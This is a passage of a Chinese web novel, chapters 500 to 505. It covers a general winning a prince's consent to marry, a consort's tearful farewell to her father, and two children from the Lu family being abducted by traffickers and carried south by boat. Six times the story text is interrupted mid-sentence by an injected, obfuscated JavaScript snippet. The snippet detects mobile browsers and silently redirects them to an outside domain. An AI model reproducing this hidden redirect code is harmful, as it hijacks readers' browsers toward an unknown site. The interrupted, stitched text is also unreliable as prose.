第二关回身射柳和第三关箭贯金钱,戈叙白都漂亮地完成了,他的箭法干脆利落,准头分毫不差,力道更是强悍霸道,滇南王一开始还能挑毛病,后来也不得不点头。 “尚能入眼。” 萧晏辞笑看着这老头,真是嘴硬。 戈叙白这一回算是过关了,自己的任务总算完成了。 第500章 定不负她 戈叙白驾马从远处跑了回来,他的鬓边都是汗。 他翻身下马,“王爷,晚辈的三关已然完成,请您赐教。” 滇南王端出架势,又鸡蛋里挑骨头地点评了一番,最后道:“勉强过关。” 戈叙白闻言,眼底骤然盛满了星光。 滇南王又出声敲打。 “但方才你的那些招式,在教练场上挣一挣表现还行,真正到了战场,就是华而不实的花哨招式,你这脑袋只怕早就被砍了八百回了。” 戈叙白连忙认错,“晚辈知错。” 又道:“王爷,晚辈自西平给您带了一份薄礼,还请您莫嫌弃。” 滇南王依旧一副傲娇的模样,“本王不缺礼物,你不必整这些虚的。” 戈叙白一脸诚挚,“这是晚辈的一番心意,还请王爷先看看。” 滇南王闻言便不再说什么。 他没想到,戈叙白送的礼物竟是一匹战马,当那匹马被人牵上来的时候,滇南王的目光便牢牢锁定在它的身上,怎么都挪不开了。 那是一匹高大威猛的壮马,通体如赤金熔铸,皮**在阳光下流淌着蜜釉般的光泽。 滇南王语气激动,“汗血宝马!” 戈叙白观他神色,便知自己这礼物送到了心坎上。 戈叙白道:“这是晚辈从羌笛王庭缴获的马匹,他是一匹老马,却依旧健硕,晚辈第一时间就想到了王爷,老骥伏枥,志在千里。此马赠与王爷,再合适不过。” 萧晏辞也看着这匹马暗自眼馋,听着戈叙白这番奉承的话,他不禁一阵牙酸。 三年前的戈叙白还是个笨嘴拙舌的愣头青,现在怎么变得这么油嘴滑舌了? 偏偏滇南王吃这一套,发出了一声爽朗的笑声。 他实在技痒,连假意的客套话都没说,直接就要上马试试。 戈叙白殷勤地替他把马儿牵过来,滇南王摸了摸马背,跟这匹老马熟悉了一番,这才翻身而上。 凡是宝马,都有脾气,这一匹马也不例外。 滇南王一上马,他便开始疯狂扬蹄,企图将他从自己的后背甩下去。 滇南王到底是**湖,御马技术了得,他带着这匹马在马场上跑了几圈,这马甩不掉他,便慢慢老实了。 萧晏辞看着在马背上意气风发的老人,眼底眉梢也不禁染上一抹笑意。 “你小子,倒是会投其所好。” 戈叙白一脸谦虚,“我也是机缘巧合,才得了这匹宝马。只能说,一切都是最好的安排。” 他表面谦虚,实则一脸傲娇,满满都是即将得偿所愿的得意。 萧晏辞啧了几声,实在没眼看。 戈叙白正了神色,“师父能被调任南诏府任安南都护使,一切全赖您帮忙,微臣在此谢过太子殿下。” 说完他便认真行了一礼。 萧晏辞也没有客气,受了他这一礼。 “孤也不过是顺势而为罢了,谷将军身有大才,孤才能促成此事,一切都是他的机缘。孤相信他,定不会让孤失望。” 他又对戈叙白道:“你要守好西平的门户,万不可让羌笛人再踏入我大齐疆土半步。” 戈叙白语气铿锵,“微臣领命!” “你若娶了寒衣,就要好生待她,滇南府是她的依靠,孤也是。你若敢有半分对不住她,孤和滇南府上下都饶不了你。” 戈叙白神色更加郑重。 “微臣定不负她!” 这一趟跑马,滇南王很尽兴,戈叙白把他哄好了,心情也很放松。 从马场回来,戈叙白又派人给滇南王送去了其他礼物,有羌笛缴获的宝刀,玄铁打造的护心镜,狼牙磨成的断刃,以及西平风景画册和其他边境的稀奇东西。 各种东西琳琅满目,不一而足,俨然是把滇南王当成小孩子在哄。 滇南王嘴上说他阿谀奉承,但眼底明显带了笑意。 他在战场上打了一辈子,对各类兵器有种天然的喜爱,他的书房里便有一面墙,专门收藏着这些短刀断刃。 戈叙白能事先准备好这些,俨然是提前做了功课,也是有人做了内应。 拿人手短,滇南王也不好再刁难戈叙白。 尤其是后来又得知戈叙白亲自为叶寒衣采摘了天山雪莲,滇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105829|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 南王对他就再挑不出毛病来。 他们在京中能待的时间都不长,滇南王找了个时间会面,将定亲之事提上日程。 “你的情况,本王早便从你师父口中听说。你既无双亲,滇南与西平亦相隔甚远,婚事操持只怕有不便。” 戈叙白孑然一身,好处是,叶寒衣日后进门便是女主人,不用侍奉公婆,也没有长辈能给她气受。 坏处便是,戈叙白的家底太薄了,日后各种事也都无人帮衬。 远的不说,便是成亲这一桩事,也没个长辈操持。 戈叙白连忙道:“承蒙王爷不弃,愿将寒衣许配给晚辈,晚辈也不能让寒衣受委屈,该有的流程一应都不会少。晚辈事先已经与师父通过信,他在南诏府,与滇南府相邻,届时纳采、问名之流程,便由师父代为操持。” “聘礼您亦请放心,晚辈近些年积攒了一些家底,虽比不得那些钟鸣鼎食之家,但也不会让寒衣受委屈的。婚期定下之后,晚辈亦会亲自到滇南府迎亲。” 每次打了胜仗,他们都能缴获不少战利品。 以往戈叙白并不在意那些,但谷栖山操着老父亲的心,让他多攒一些家底,日后好娶媳妇用。 戈叙白没开那方面的窍,依旧没放在心上。 还是谷栖山做主帮他存了些家当。 直到三年前,他动了要娶妻的心思,这才开始清点家当,然后想法子攒钱。 除了战时的战利品,他开始涉足经商。 诚然他不擅此道,所以他给自己找了个可靠的帮手,这三年倒是赚了些钱,至少,能置办起一笔体面的聘礼。 不用滇南王问,戈叙白就自己把自己的家底都交代了个一清二楚。 滇南王也没想到他这么实诚。 他的家底,在滇南王眼里的确不够看。 但也已经比自己预想中丰厚多了。 他能拿出这样的聘礼,便足以表明他的诚意,滇南府还不缺他那点银子,那些聘礼会作为嫁妆,一并退回去,只是这话滇南王没有说。 这场谈话相谈甚欢,两人都是笑着离开的。 第501章 父女话别 年后,各地官员陆续离开,戈叙白肩负西平驻守重任,在京城更是不能久待。 他也已经完成了心头大事,眼下便急着回去,命人把婚房收拾出来,随时准备迎亲。 大年初五,他启程回了西平。 叶寒衣出宫送了他,打马前行,送了几十里地。 回来的时候,眼眶是红的,嘴巴是肿的。 滇南王也准备启程了。 萧晏辞向德丰帝请求,让柔贵妃出宫送一送滇南王。 事先并无此等先例,但德丰帝允了。 太过固守礼法,未免就失了人情味。 柔贵妃今日换上了一身利落的劲装,整个人少了贵妃的雍容华贵,多了几分英姿飒爽。 出了那高高的宫墙,她禁不住掀开车帘,看着街外的人间烟火。 看着看着,她的眼眶不禁红了。 入宫二十五年,她只在春猎和秋猎的时候出过宫,次数寥寥可数。 她以为自己再没机会离开那堵宫墙。 没想到,今日竟能有此机缘。 哪怕只是短暂地离开,这对柔贵妃而言,都是难得的珍贵时光。 锦瑟也跟着柔贵妃一道出了宫,她的心情同样不平静。 马车出了城,柔贵妃便让车夫停了下来,萧晏辞和滇南王一行已经在城外等着她。 滇南王见了她,明显松了口气。 他还以为她来不了。 柔贵妃让人给她牵了一匹马,她要骑马,再送他们一程。 萧晏辞有些担心,“母妃,您行吗?” 柔贵妃朝他投去一记眼神,“瞧不起谁?这些年哪次狩猎不是我拔得头筹?” 滇南王“嚯”了一声,“看来这京中的贵人们骑射都不怎么样,你那三脚猫的功夫都能拔得头筹。” 萧晏辞轻咳一声,“母妃说的头筹,是宫中众嫔妃中的头筹。” 她的骑射平平,但在宫中众嫔妃中,已是佼佼者。 滇南王恍然大悟,“原来如此,那就难怪了。” 柔贵妃被他们笑话了一通,一时脸上有些挂不住。 “甭管是什么头筹,我就是头筹。别废话,牵马来。” 萧晏辞提醒她,“母妃,您已经很多年没有骑过马了。” 滇南王开口,“把马牵来,我要看看,她是不是把我教她的全都忘了。” 柔贵妃语气傲然,“那您瞧好了。” 萧晏辞便不再多说,命人牵了一匹马来。 柔贵妃翻身上了马,一夹马腹,便跑了起来。 她是武将之女,曾骑马在草原上疾驰过,也曾感受过自由的风是什么味道。 滇南王看着她在马上飒爽的背影,眼底染上一抹笑意,他也驾马跟了上去。 父女二人一前一后,在宽敞的官道上疾驰,很快就把众人甩在身后。 萧晏辞和叶寒衣都没有追上去。 那是属于他们父女的时光,任何人都不该去打扰。 滇南王骑着的是戈叙白送的汗血宝马,这匹马已经被滇南王驯服,扬蹄疾驰,很快就把柔贵妃甩在了后头。 柔贵妃的好胜心起,一挥马鞭也加紧追了上去。 跑了两刻钟,滇南王慢慢放缓了速度。 柔贵妃紧跟其后,追了上来。 她的额上浸出薄汗,脸颊上亦是浮起一抹薄红,眼底缀着一股灼亮的光。 她已经许久没有这般畅快了。 “再来!我一定能跑赢。” 滇南王摇头,“你久未骑马,回头腿上要被磨破了。” 柔贵妃心下触动,“您这都还记得。” “凡是关于你的事,都忘不了。” 因为,是一直放在心尖尖上的头等大事。 柔贵妃心中更是涌起一股酸涩的情绪。 这一瞬间,她多想不管不顾地追随父亲,一起回家去。 没了宫墙的限制,她所有脆弱的情绪便不再掩饰。 “爹,我想回家。” 她的语声哽咽,看着滇南王的眼神充满了依恋。 滇南王的心口似被什么狠狠扎了一下,生疼。 这一刻,对女儿的歉疚再次铺天盖地地袭来。 当初,是他把女儿亲手送进了后宫。 时至今日,他依旧没有能力把她接回来。 “柔儿,是爹对不住你。” 柔贵妃的眼泪倏而滚落,她很快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16109947|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偏过头,飞快将眼泪擦干。 “我知道,您是被逼无奈,我不怪您。其实我已经习惯了,宫里锦衣玉食,我过得可自在了。您知道的,我最是懒怠,就喜欢被人伺候着。真要回了滇南,您又要抓着我练骑射跑马,想想就要累**。” 她故作轻松的姿态,好似方才的真情流露只是错觉。 滇南王沉默着。 他笑不出来,也做不到如她那般故作轻松。 待太子登基…… 待太子登基,也改变不了什么。 自古以来,入了宫的宫妃,便没有再回家的。 唯一出宫的去处,便是守皇陵。 即便太子登基,也不能冒天下之大不韪,让太妃离宫回家。 滇南王狠狠掐断了自己的幻想。 柔贵妃很快收拾好了心情,她细细嘱咐了一番路上的注意之事,又拿出了自己写给母亲的信,让他转交。 最后,柔贵妃说到了叶寒衣的亲事。 “寒衣远嫁,我会给她送一份嫁妆,今后,我便是她的后盾。” 滇南王却道:“她的嫁妆自有你兄嫂操持,你多留些银子傍身。” “我在宫中没有花钱的地方,留着也无用。” 滇南王:“那就给阿辞留着,他那命格……” 滇南王打住了。 萧晏辞现在是储君,以前悟尘大师给他批的命就有些不好再提,不然容易被人当成攻讦的把柄。 柔贵妃却不以为意,笑了起来,“阿辞身边有知苒,他的命格已经变了。有知苒在,阿辞就不会缺银子。” 滇南王也早知道陆知苒的名声,这段时日在京中更是亲眼所见,亲耳听闻,他也不得不承认,萧晏辞这是娶了一个贤内助。 柔贵妃正了神色,“父亲,寒衣的婚事,能早则早,不可拖延。” 滇南王不解,“为何?你嫂子和母亲定是不舍。” 柔贵妃压低了声音,“便是再不舍也要舍,不然,只恐迟则生变,让寒衣被磋磨了青春。” 她朝皇宫的方向指了指。 滇南王心头一凛,立马明白过来。 德丰帝的时日不多了。 第502章 被拐走了 若德丰帝驾崩,婚丧嫁娶都要受影响。 他们作为太子的外家,更是被无数双眼睛盯着,到时便是想趁着热孝期把亲事办了,只怕也要受人诟病。 如此,叶寒衣就要被耽搁三年。 叶寒衣今年已经十七了,相较于一般女子已经算是老姑娘。 若再耽搁三年,那就真的成了名副其实的老姑娘了。 滇南王虽几次面圣,但都不敢直视圣言,也不好猜测帝王的身体状况。 而今听柔贵妃提起,他才有了急迫之感。 那头,萧晏辞也在提醒叶寒衣此事。 他的话同样说得隐晦,但大家都是聪明人,自然一下就听明白了。 众人追上了滇南王和柔贵妃。 滇南王看着他们,“回去吧,不必再送。” 送君千里终须一别,不过徒增伤感罢了。 滇南王翻身上马,一夹马腹便朝前奔去,只背对着他们遥遥招手,算是最后的道别。 叶寒衣不舍地抱住柔贵妃,最后也上了马。 目送他们一行人消失在视线内,柔贵妃的目光痴痴的,久久没有收回。 萧晏辞也没有出声催促,只静静等着。 不知过了多久,柔贵妃转身,“走吧,该回宫了。” 这短暂的小半日,已经是她偷来的。 美梦结束,是时候回归现实了。 …… 元宵将近,东宫收到了很多年礼,陆知苒有孕之后,连这些庶务都有些懒怠打理,都是金嬷嬷和翠芙在料理。 翠芙送来了一份礼单,是陆家送来的。 自从陆贯轩死后,陆知苒就没有再回过陆家。 陆家一直关起门来过日子,在当初萧晏临登基的那场风波中也没有受到波及。 之后,时局翻转,萧晏辞成了太子,陆家人也乖觉地没有登门讨好,只是每个年节都会送上一份礼,陆知苒瞧见礼单,便也会对陆家问上几句。 翠芙道:“太子妃,您瞧瞧陆家的这份礼单。” 陆知苒听出了别的意思,难道这次的礼单有什么特别? “拿来我看看。” 陆知苒接过礼单,看了一眼就挑了挑眉。 这字迹工整,却稍显稚嫩,显然是出自稚子之手。 “这礼单怕是出自我那弟弟之手。” 陆知苒说的弟弟,不是陆君成,而是后来从族中过继的陆砚修,算算时间,他今年应当有九岁了。 九岁的孩子能写出这么一手字,也算是难得。 陆家特意送来了这么一封礼单,便是一种示好,也希望借此机会提醒她,不要忘了陆家的存在。 对于这样的手段,她并不反感,反而有几分欣赏。 陆知苒挺着大肚子,自然不可能亲自回陆家,她便派了金嬷嬷回去一趟。 金嬷嬷很快带回了陆家的最新消息。 “紫鹃姨娘是个有手段的,把陆家内宅打理得井井有条,陆府上下的奴仆无不服她。老奴亲自见了小少爷,他生得仪表堂堂,举止仪态十分端方有礼,也被照顾得很好,紫鹃姨娘对他的衣食住行都十分上心,请的是有些名望的夫子为小少爷开蒙。陆家的气象,老奴瞧着不错,陆家的门楣,小少爷日后定能撑起来。” 陆知苒听了,笑着点了点头。 “紫鹃素来是聪明人。” 她只有一个女儿,自己又只是个妾室,真正算起来,她在陆家的地位名不正言不顺,只有陆砚修能成为她们日后的依靠。 她此时对陆砚修越好,日后,陆砚修能给她的回报就越高,换言之,她比任何人都希望陆砚修有出息。 好在,陆砚修看上去是个可塑之才。 陆家人若是能有出息的后辈,日后,陆知苒也不介意提携一把。 陆知苒很快把此事抛诸脑后。 但没想到,几日后,她再次收到了陆家的消息,而这一次传来的却是坏消息。 “太子妃,不好了,陆家出事了。小少爷和三小姐被拐子拐走了!紫鹃姨娘求到了府外来了。” 陆知苒面色一沉,“把人带进来。” 紫鹃很快被带了进来,进门时,脚下一个趔趄,险些摔倒。 她衣裳脏污皱巴,发髻凌乱,满脸焦急,脸上尤带泪痕,眼底一片青黑,显然昨夜没有休息好。 见了陆知苒,她慌忙跪下,声音发颤。 “太子妃,求求您,救救两个孩子吧!” 陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16109948|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知苒端坐上首,“先别急着哭,说,是怎么一回事?” 紫鹃抹了一把眼泪,这才哽咽着道:“昨夜元宵节,永宁街上没有宵禁,辰姐儿一直想去看烟花,猜灯谜,小少爷也想去,奴婢不好扫了孩子的兴,便做主允了。” “谁料,我们在看杂耍的时候,台上的人表演口吞火焰,发生了意外,街上一下乱了,只一眨眼的功夫,两个孩子就不见了。奴婢立马命家丁去找,也第一时间报了官,但找了一夜了,却半点消息都没有……” 说到最后,紫鹃又禁不住哭了起来。 陆星辰是她唯一的女儿,陆砚修则是她在陆家唯一的依仗,眼下两个孩子一起失踪了,若当真有个好歹,那简直是要了她的命啊。 昨夜紫鹃报官的时候便搬出了太子妃娘家人的身份,只希望那些官吏们能多上心。 但最后的结果依旧令她绝望,她便再顾不得其他,直接求到了东宫来了。 陆知苒又问,“陆家最近可有得罪什么人?” 紫鹃连连摇头,“自从老爷去了之后,陆家便关起门来过自己的日子,事事低调,安守本分,连寻常交际都没有,怎会开罪旁人?太子妃,此事并非是仇家寻仇,他们定是被拐子拐走了!昨夜奴婢去报官的时候,衙门就已经接到了不少人家的报失,全都是丢了孩子的。” 陆知苒面色更加阴沉,她没想到,那些人贩子竟然胆大包天至此,敢在天子脚下作奸犯科。 “事发时是什么时辰?” “大约是酉时到戌时的时候。” 陆知苒面色难看了几分。 以往城门酉时就会关闭,但年节时候,城中没有宵禁,城门也延迟到戌时末才会关闭。 即便紫鹃立马报了官,但城门也不一定能及时关闭。 若孩子被送出了城,要想再找,就难了。 陆知苒立马唤人,给萧晏辞传信。 此事非同小可,需要调动官府全力追查。 另外,她又派人去给商行传信,命商行立马调动所有人手,一旦发现可疑之人,立马报信。 在民间也张贴悬赏告示,只要寻回一个孩子,不论是谁家的,赏银百两。 第503章 举荐能人 陆知苒迅速地做了一圈安排,语气沉稳,有条不紊。 紫鹃见了,原本紧张的心弦瞬间放松几分,整个人都好似找到了主心骨。 将一切安排好,陆知苒看向紫鹃。 “你先回去吧,万一孩子自己找回去了,你也能第一时间有信儿。” 紫鹃满脸感激,“多谢太子妃。” 陆知苒神色严肃,“他们是我的弟弟妹妹,我不会坐视不管。眼下找人要紧,我便没有追究你,待人找到了,我对你亦不会轻饶。” 紫鹃连连磕头,“若能把少爷小姐找回来,便是叫奴婢千刀万剐,奴婢也心甘情愿。” 紫鹃抹着泪离开了。 陆知苒以手撑额,面上露出几分疲态。 金嬷嬷等人宽慰她,“太子妃宽心,小少爷和三小姐吉人天相,定然不会有事的。” “他们若是亮出您的身份,料想那些贼人不敢拿他们如何。” 陆知苒摇头,“你错了,他们若是亮出我的身份,只怕反倒会成为催命符。” 那些人贩子若是知道自己抓的是太子妃的家人,只怕更要立马**灭口,永绝后患。 萧晏辞收到消息,顾不上发怒,立马安排人手全力搜查。 同时,快马加鞭给各地下发诏令,凡是来往客商,都要搜查,不可错过半个可疑之人。 除了陆路,便是水路,各大商船也要搜查。 官府政令下达,各方联动。 很快就有了收获,官差陆续在城内城外各处寻到了被**的孩子。 这些孩子除了受了惊吓,挨了饿,基本上没有受到其他伤害。 那些人贩子发现这次朝廷的搜捕力度强势,不敢冒险,这才把到手的猎物放了。 大多数人家都找回了孩子。 但这些孩子都没有见到人贩子的容貌,便是见过的也吓得不轻,根本描述不清楚。 那些人贩子又重新换上了无害的嘴脸,伪装成了老实本分的普通百姓,想要把他们找出来,难上加难。 而那些被救的孩子里,没有陆砚修和陆星辰。 紫鹃频频派人去打听,得知这个消息,她顿时陷入了深深的绝望。 陆知苒心头也笼着一层深深的阴霾。 难道,陆家当真要就此绝后了? 此时,一艘商船内,陆砚修在晃晃悠悠中慢慢醒了过来,他被绑了手脚,动弹不得。 他的身侧,躺着同样被绑着手脚的陆星辰,还有其他几个孩子,有男有女,他们依旧昏迷着。 陆砚修今年九岁,身形已然抽条,有了小小少年人的模样。 他是这群孩子里年纪最大的。 他很快就明白发生了些什么。 昨夜昏迷前的零碎记忆袭上心头。 他们这是遇到了人贩子。 这些人贩子的目标是陆星辰,只是当时对方下手时,陆砚修有所察觉,一边死抓着陆星辰不放,一边便要张口大喊。 对方情急之下,索性连他一起迷晕,连夜带出了城。 他们连夜就上了船,离开了京城,还不知道此时的京城已经风声鹤唳。 落入了人贩子手里,能有什么下场?陆砚修心头一阵发沉。 这时,他隐约听到了舱门处传来动静,有人来了。 陆砚修当即合上眼睛,假寐起来。 他还不知身在何处,也不知道对方究竟有多少人,他不敢贸然动作,还是先以不变应万变。 这一次拐卖案在京中引起轩然大波。 萧晏辞一直在为此奔波忙碌,陆砚修和陆星辰依旧没有消息,每天回来时,他的脸色都很阴沉。 “你知道吗?每年京中都会有数百个失踪报案,尤其是先前政局不稳时,失踪的女人孩子更多。这些案子,最后都没有被提到御前,若非今年我亲自查问此事,又调取了往年的卷宗,根本不知道人贩子竟如此猖獗。” 陆知苒闻言,亦是不禁心惊。 “这一次,我定要彻查到底,狠狠剁了那些人的手!不仅仅是为了找到那两个孩子,更为了今后让所有孩子都免遭于难。” 萧晏辞要严查此案,自然不能光靠他一人,一个好的将领,靠的不是亲力亲为,而是知人善任。 他与幕僚们商议此事,但对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16114064|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于如何杜绝此类案件,大家都是纸上谈兵,没有太好的法子。 这时,有人举荐了一人。 “太子殿下,属下斗胆,向您举荐一人。此人乃邕州归化县知府沈正清,原本此地拐卖猖獗,但他一番治理,辖下再无半个拐子,他在治拐一道上,想来能有自己的一番独到见解。” 萧晏辞闻言,立马来了兴趣。 “当真有此能人?” 那幕僚点头,“属下与沈大人乃同乡兼同门,对他的情况略有了解,他早年曾丢过一个孩子,是以对拐子十分深恶痛绝,这也是他在治拐上能如此卖力的原因之一。” 其他人不禁提出疑问,“既然此人如此厉害,为何这么多年都没能调任回京?” 那幕僚欲言又止,似有什么难言之隐。 萧晏辞蹙眉,“你有什么话便直说,不必这般吞吞吐吐。” 那幕僚这才道:“沈大人曾经开罪过李家人,他连年的政绩都被判为中下,想要调任也了无门路,便一直蹉跎在了邕州。” 李家人,便是曾经的六皇子萧晏清的母族。 十几年前,李贵妃便颇得圣宠,李家人行事便十分霸道,不知欺压了多少底层官员。 沈正清便是其中之一。 李家倒台,六皇子被赐死,沈正清得了消息,这才觉得自己的前路有了希望。 前头政局不稳,沈正清也没找到机会疏通关系。 现在,新太子地位稳固,政局平稳,他这才开始给自己旧日好友写信,希望能为自己牵线,让自己能往上挪一挪。 这位幕僚收到了他的信,又得了些许好处,也想帮他一把,但一直没找到机会。 今日才终于有了契机。 萧晏辞没想到这其中还有李家人的手笔,他的面色顿时沉了几分。 “你命人将此人的档案取来,孤要好生看看。若他当真可用,孤定不会平白埋没了这个人才。” 那幕僚闻言大喜,连忙应是。 若当真办成了此事,他在沈正清那里能得一个人情,日后也能多一个得力帮手,一起为太子殿下效力。 第504章 过家家 转眼便到了正月二十五,距离陆砚修和陆星辰失踪已过了十天。 官府通力协作,在各地设置关卡,严密排查。 但迄今为止却依旧一无所获。 紫鹃彻底绝望了。 这么多天过去了,她的孩子,还有找回来的希望吗? 她的辰姐儿,长得那般玉雪可爱,未来会沦落到什么地方,她简直不敢想象。 紫鹃一病不起,整个陆家上下都乱了套。 此时,陆砚修和陆星辰两兄妹依旧在船上飘飘荡荡,这船舱内已经只剩下了他们两人,其余孩子,在杭州的时候就已经被卖掉了。 杭州瘦马大多都是自小开始调教,这次他们掳到的几个女孩儿都是美人胚子,卖了个好价钱。 陆星辰长得玉雪可爱,原本也能卖掉,但她上了船之后就病了,病得昏昏沉沉,只剩半条命,那老鸨相看的时候没瞧上,反倒是看上了陆砚修。 这孩子长得俊,也能好生调教一番。 但人贩子老杨头没同意。 “他不卖。” 自家孙女瞧上了他,把他带回去当童养夫也不错。 老杨头带着沉甸甸的银子上了船,又一路往南边而去。 他的儿子杨大柱和儿媳廖氏开始数钱,小孙女荷花则围着陆砚修打转。 这一家子,有着最朴实无华的面容,看上去就是憨厚老实的庄稼汉,但谁都没想到,他们背地里干的,竟是拐卖人口的买卖。 他们亲和朴实的气质,成了最好的伪装。 荷花今年七岁,她生得黑,还有点壮,长得并不好看。 正是这副土气又老实巴交的长相,成了她的伪装,没人对她有戒备心,她帮着家人拐带了不少好货色。 她看着陆砚修,眼里缀着星星。 “砚修哥哥,你肚子饿吗?我给你端吃的。” 陆砚修露出一抹笑,语气也很温柔,“我不饿。荷花,船上有药吗?我妹妹身上起着高热,需要吃些退热的药,你能帮我弄到药吗?” 荷花听到他对自己这般温柔,眼睛里迸出娇羞来。 但看到陆星辰那张白嫩可爱的脸,她心底又迸出了恶意的嫉妒。 为什么她长得这般好看,自己却又黑又丑? “她**不正好,直接扔海里,都省得埋了。” 陆砚修眼底飞快闪过一抹幽光,“她是我妹妹,我不想要她死。更何况,好不容易把我们从京城带走,就这么让她**,岂不是白费了功夫?好荷花,我知道你最善良的。” 荷花原本还不为所动,但听了这话,她一下就开心了。 “好吧,既然你都这么说了,我便给她熬一副药好了。若她能撑过来,我们也能再卖一笔好价钱。” 荷花转身出去了。 陆砚修看着她的背影,眼底闪过一抹冷意。 再低头看着怀里已经烧得满脸通红的小人儿,他的眼底满是怜惜。 曾经,他的日子过得不好,到了陆家之后,他才真正感受到了温暖。 紫鹃姨娘对他的好或许另有所图,但那却是他拥有的为数不多的温暖。 而真正让陆砚修融入陆家的,是陆星辰的存在。 她真的很可爱,会冲他甜甜的笑,会嘴甜地喊他哥哥,会迈着小短腿追着他跑。 这样一个可爱的妹妹,现在却落入了这些恶人的手里,命悬一线。 陆砚修恨不得代她承受这一切。 他一定要想办法,把她治好,带她离开这里。 荷花去求了情,老杨头便在附近的小码头停靠,抓了一副退热的药。 陆星辰迷迷糊糊间不肯张嘴,陆砚修就一点点耐心地喂。 两天后,她的高热终于退了,陆砚修终于狠狠松了口气。 老杨头不知道,就在他们离开杭州之后的半日,一支精锐快马加鞭地赶到杭州,下达了搜查令。 那刚刚买了几个好货的老鸨还没来得及安置她们,就被搜了个正着。 几把明晃晃的大刀架在脖子上,老鸨胖胖的身体吓得瑟瑟发抖。 “官爷饶命,饶命啊,我也不知道老杨头的这些货来路不正啊……” 为首的官差冷声,“少废话,人呢?” “走,走了啊,半日前就走了。” “往哪里去了?” “不,不知道啊……” 那官差的刀子压重了几分,那老鸨直接哭出了声,“我,我真的不知道啊,但,听口音,好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16114065|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好像是岭南那边的。” 老杨头不知道,岸上已是风声鹤唳,他的画像也被画了出来,正在全力通缉。 他们的船一路往南,除了抓药,中途再没有停靠过,几日后,他们抵达了岭南腹地,五羊邑。 此地群山环绕,密林丛生,终年湿热多瘴气,较之滇南更加湿热。 眼下不过正月,这里的百姓却少有穿厚衣,而是只穿着单衣。 老杨头的老家便在这里。 他们每隔一段时间就要出去干一票,这次这一票赚得相当丰厚,这大半年,他们都不用再出门了。 船只抵达在五羊邑码头时,时间已经到了二月初一。 陆星辰一路昏睡,完全不知发生了什么。 直到听到外头喧闹的人声,她才终于悠悠地睁开了眼睛。 陆砚修一直寸步不离地守着她,见她终于醒了,眼底顿时蹦出欣喜。 陆星辰的脑子混混沌沌,眼神也有些迷离。 她完全不知今夕是何夕,目光聚焦了半晌,终于认出了陆砚修。 “哥哥。” 她一开口,声音便是一阵沙哑,嗓子也疼得厉害。 陆砚修听到她的声音,心疼得几乎落泪。 “辰儿,你终于醒了。” “我们这是在哪里?” 陆砚修压低声音,飞快地道:“我们在玩过家家,我们扮演被坏人抓走的小孩,来到了一个陌生的地方。待会儿你会看到完全陌生的坏人,你不要怕,那些都是过家家,哥哥也会保护你的。” 陆星辰眨巴着大眼睛看他,“姨娘也和我们一起玩吗?” 陆砚修摇头,“姨娘要料理府中庶务,她没有时间陪我们一块儿玩。” 陆星辰又问,“那哥哥呢?你不用读书吗?” 陆砚修摇头,“夫子给我放了假,我最近都不用读书,只需要好好地陪你玩。” 陆星辰闻言,眼睛瞬间笑弯了。 她最喜欢哥哥陪她玩了,但以往哥哥都没有时间,现在终于能让哥哥一直陪着自己玩了。 只是,她的脑袋有些昏沉,整个人都绵软无力,提不起劲来。 她不禁懊恼,她真是太不争气了,偏偏这个时候不舒服。 第505章 乌鸦嘴 正这时,船舱门打开了,荷花走了进来。 “砚修哥哥,我们到了。” 